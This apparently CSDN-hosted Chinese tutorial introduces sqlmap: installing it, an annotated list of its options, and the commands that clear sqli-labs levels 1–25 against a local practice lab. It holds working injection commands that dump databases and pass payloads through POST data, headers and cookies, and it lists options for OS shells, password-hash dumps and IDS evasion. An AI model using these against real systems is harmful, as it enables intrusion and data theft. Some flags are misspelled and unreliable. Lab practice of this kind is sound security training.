sqlmap基础(sql-lib过关)

下载地址:sqlmap: automatic SQL injection and database takeover tool

安装流程:

把安装包解压到python文件夹中

打开sqlmap文件夹 

输入cmd打开

输入python sqlma.py -h

 更新一下

python sqlmap.py —update

 python sqlmap.py —version

 安装成功!

基础知识:

sqlmap是一款基于python编写的渗透测试工具,在sql检测和利用方面功能强大,支持多种数据库。

sqlmap常用命令 -h 显示基本帮助信息

-hh 显示高级帮助信息

--version 显示版本号

-v 详细等级(0-6 默认 1)

0:只显示python错误以及重要信息

1:显示信息以及警告

2:显示debug消息

3:显示注入payload

4:显示http请求

5:显示http响应头·

6:显示http响应内容

Target:

-u 指定目标url

-d 直接连接数据库

-l 从burp代理日志的解析目标

-r 从文件中加载http请求

-g 从google dork的结果作为目标url

-c 从INI配置文件中加载选项

Request

-A 指定user-agent头

-H 额外的header

-method= 指定HTTP方法(GET/POST)

--data= 通过POST提交数据

--param-del= 指定参数分隔符

--cookie= 指定cookie的值

--cookie-del= 指定cookie分隔符

--drop-set-cookie 扔掉response中的set-cookie头

--random-agent 使用随机的user-agent头

--host= 设置host头

--referer= 指定referer头

--headers= 额外的headers

--auth-type= http认证类型(Basic,NTLM,Digest)

--auith-cred= http认证凭证(账号:密码)

--ignore-proxy 忽略系统代理(常用于扫描本地文件)

--proxy= 使用代理

--proxy-cred= 代理认证证书(账号:密码)

--delay= 设置延迟时间(两个请求之间)

--timeout= 超时时来连接前等待(默认 30)

--retries= 连接超时时重试次数(默认 3)

--randomize= 随机更改指定的参数的值

--safe-url= 在测试期间经常访问的URL

--safe-post= POST数据发送到安全的URL

--safe-freq= 两次请求之间穿插一个安全的URL

--skip-urlencode 跳过payload数据的URL编码

--chunked 使用HTTP分块传输加密POST请求

--hpp 使用HTTP参数pollution方法(常用于绕过IPS/IDS检测)

--force-ssl 强制使用SSL/HTTPS

--eval=value 请求之前提供Python代码(eg:"import hashlib;id2=hashlib.md5(id).hexdigest()")

Optimization

-o 打开所有优化开关

--predict-output 预测输出(与--threads不兼容)

--keep-alive 建立长久的HTTP(S)连接 (与--proxy不兼容)

--null-connection 空连接

--threads=value 设置线程(默认 1)

Injection

-p 指定测试参数

--skip= 跳过指定参数的测试

--skip-static 跳过测试静态的参数

--dbms= 指定具体DBMS

--os= 指定DBMS操作系统

--invalid-bignum 使用大数字使值无效

--invalid-logical 使用逻辑符使值无效

--invalid-string 使用字符串使值无效

--no-cast 关闭payload铸造机制

--no-escape 关闭字符转义机制(默认自动开启)

--prefix= 加入payload前缀

--suffix= 加入payload后缀

--tamper= 指定使用的脚本

Detectiong

--level= 指定测试的等级(1-5 默认为1)

--risk= 指定测试的风险(0-3 默认为1)

--string= 登录成功时,页面所含有的“关键字” 用于证明已经登录成功

--not-string= 登录成功时,页面所含有的“关键字” 用于证明已经登录失败

--code= 查询为真时,匹配的HTTP代码

--smart 当有大量检测目标时,只选择基于错误的检测结果

--text-only 仅基于文本内容比较网页

--titles 仅基于标题比较网页

Techniques

--technique= 指定sql注入技术(默认BEUSTQ)

--time-sec= 基于时间注入检测相应的延迟时间(默认为5秒)

--union-clos= 进行查询时,指定列的范围

--union-char= 指定暴力破解列数的字符

Fingerprint

-f 查询目标DBMS版本指纹信息

Emuneration

-a 查询所有

-b 查询目标DBMS banner信息

--current-user 查询目标DBMS当前用户

--current-db 查询目标DBMS当前数据库

--is-dba 查询目标DBMS当前用户是否为DBA

--users 枚举目标DBMS所有的用户

--paswords 枚举目标DBMS用户密码哈希值

--privileges 枚举目标DBMS用户的权限

--roles 枚举DBMS用户的角色

--dbs 枚举DBMS所有的数据库

--tables 枚举DBMS数据库中所有的表

--columns 枚举DBMS数据库表中所有的列

--count 检索表的条目的数量

--dump 存储DBMS数据库的表中的条目

--dump-all 存储DBMS所有数据库表中的条目

--D db 指定进行枚举的数据库名称

--T table 指定进行枚举的数据库表名称

--C column 指定进行枚举的数据库列名称

--exclude-sysdbs 枚举表时排除系统数据库

--sql-query 指定查询的sql语句

--sql-shell 提示输入一个交互式sql shell

Brute force

--common-tables 暴力破解表

--common-colomns 暴力破解列

File system access

--file-read 从目标数据库管理文件系统读取文件

--file-write 上传文件到目标数据库管理文件系统

--file-dest 指定写入文件的绝对路径

--os-cmd= 执行操作系统命令

--os-shell 交互式的系统shell

--os-pwn 获取一个OOB shell,Meterpreter或者VNC

--os-smbrelay 一键 获取一个OOB shell,Meterpreter或者VNC

--os-bof 储存过程缓冲区溢出利用

--os-esc 数据库进程用户权限提升

--msf-path= Metasploit Framework本地安装路径

General

-s sqlite会话文件保存位置

-t 记录所有HTTP流量到指定文件中

--batch 测试过程中, 执行所有默认配置

--charset=v 强制用于数据检索的字符编码

--crawl= 从目标URL开始爬取网站

--crawl-exclude= 禁止爬取某个页面(eg:logout)

--csv-del= 指定CSV输出中使用的的字符

--dump-format= 储存数据的方式(CSV(default),HTML,SQLITE)

--flush-session 刷新当前目标的会话文件

--fresh-queries 忽略会话文件中储存的查询结果,重新查询

--hex 使用DBMS hex函数进行数据检索

--outpout-dir= 自定义输出目录

--save= 保存选项到INI配置文件中

--scope= 使用正则表达式从提供的日志中guo'l

--alert 再找到SQL注入时运行主机操作系统命令

--purge-output 安全的从输出目录中删除所有内容

--sqlmap-shell 提示输入交互式sqlmap shell

--update 更新sqlmap

sqlmap注入技术简介 --technique= (默认全部使用)

B 基于布尔的盲注

T 基于时间的盲注

E 基于报错的注入

U 基于UNION查询注入

S 基于多语句查询注入

sqllib过关

python sqlmap.py -u http://sqllab/Less-2/?id=1

 查看数据库

sqlmap -u http://sqllab/Less-1/?id=1 --dbs

 查看列字段的具体值
查看security数据库下的users表里的id、password、username有哪些值
sqlmap -u http://sqllab/Less-1/?id=1 -D security -T users --columns id,password,username --dump

 

 sqllab第一关
sqlmap -u http://sqllab/Less-1/?id=1 --dbs

  sqllab第二关
sqlmap -u http://sqllab/Less-2/?id=1 --dbs


sqli-labs第三关
python sqlmap.py -u http://sqllab/Less-3/?id=1 --dbs

 

 sqli-labs第四关
python sqlmap.py -u http://sqllab/Less-4/?id=1 --dbs

sqli-labs第五关
python sqlmap.py -u http://sqllab/Less-5/?id=1 --dbs

后面几关命令都一样

sqli-labs第十关
python sqlmap.py -u http://sqllab/Less-10/?id=1 -level=2 --dbs

 sqli-labs第十一关
从十一关开始,注入位置会发生变化,之前都是从GET的URL部分注入的,现在这里是从POST请求中的Payload进行注入的,因此我们的命令也相应发生了变化,需要使用--data来定义payload的内容

 python sqlmap.py -u http://sqllab/Less-11/index.php --data "uname=11&passwd=11&submit=Submit" --dbs

后面几关也都一样

 

 

 

 sqli-labs第十八关
这一关注入位置就在User-Agent中

python sqlmap.py -u http://sqllab/Less-18/ --data="uname=admin&passwd=admin&submit=Submit" --user-agent="*" --thread=10 --dbs

 

 sqli-labs第十九关
这一关注入点位置就在Referer中

python sqlmap.py -u http://sqllab/Less-19/ --data="uname=admin&passwd=admin&submit=Submit" --referer="*" --thread=10 --dbs

sqli-labs第二十关
这一关注入点位置就在Cookie中
python sqlmap.py -u http://sqllab/Less-20/index.php --cookie="uname=admin" --dbs
 

 sqli-labs第二十一关
这一关注入点位置仍然在Cookie中,但是uname=后面使用了base64编码,因此我们这里要引入--tamper "base64encode.py"来做base64编码

 python sqlmap.py -u http://sqllab/Less-21/index.php --cookie="uname=*" --dbs --tamper "base64encode.py"

 

 sqli-labs第二十二关
这一关注入点位置仍然在Cookie中,同二十一关类似,uname=后面使用了base64编码,因此我们这里要引入--tamper "base64encode.py"来做base64编码
python sqlmap.py -u http://sqllab/Less-22/index.php --cookie="uname=*" --dbs --tamper "base64encode.py"

 

sqli-labs第二十三关
第二十三关又回到了get请求,因此我们直接注入就好来
python sqlmap.py -u http://sqllab/Less-23/?id=1 --dbs 

 

第二十五关

python sqlmap.py -u http://sqllab/Less-25/?id=1 --dbs

 

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值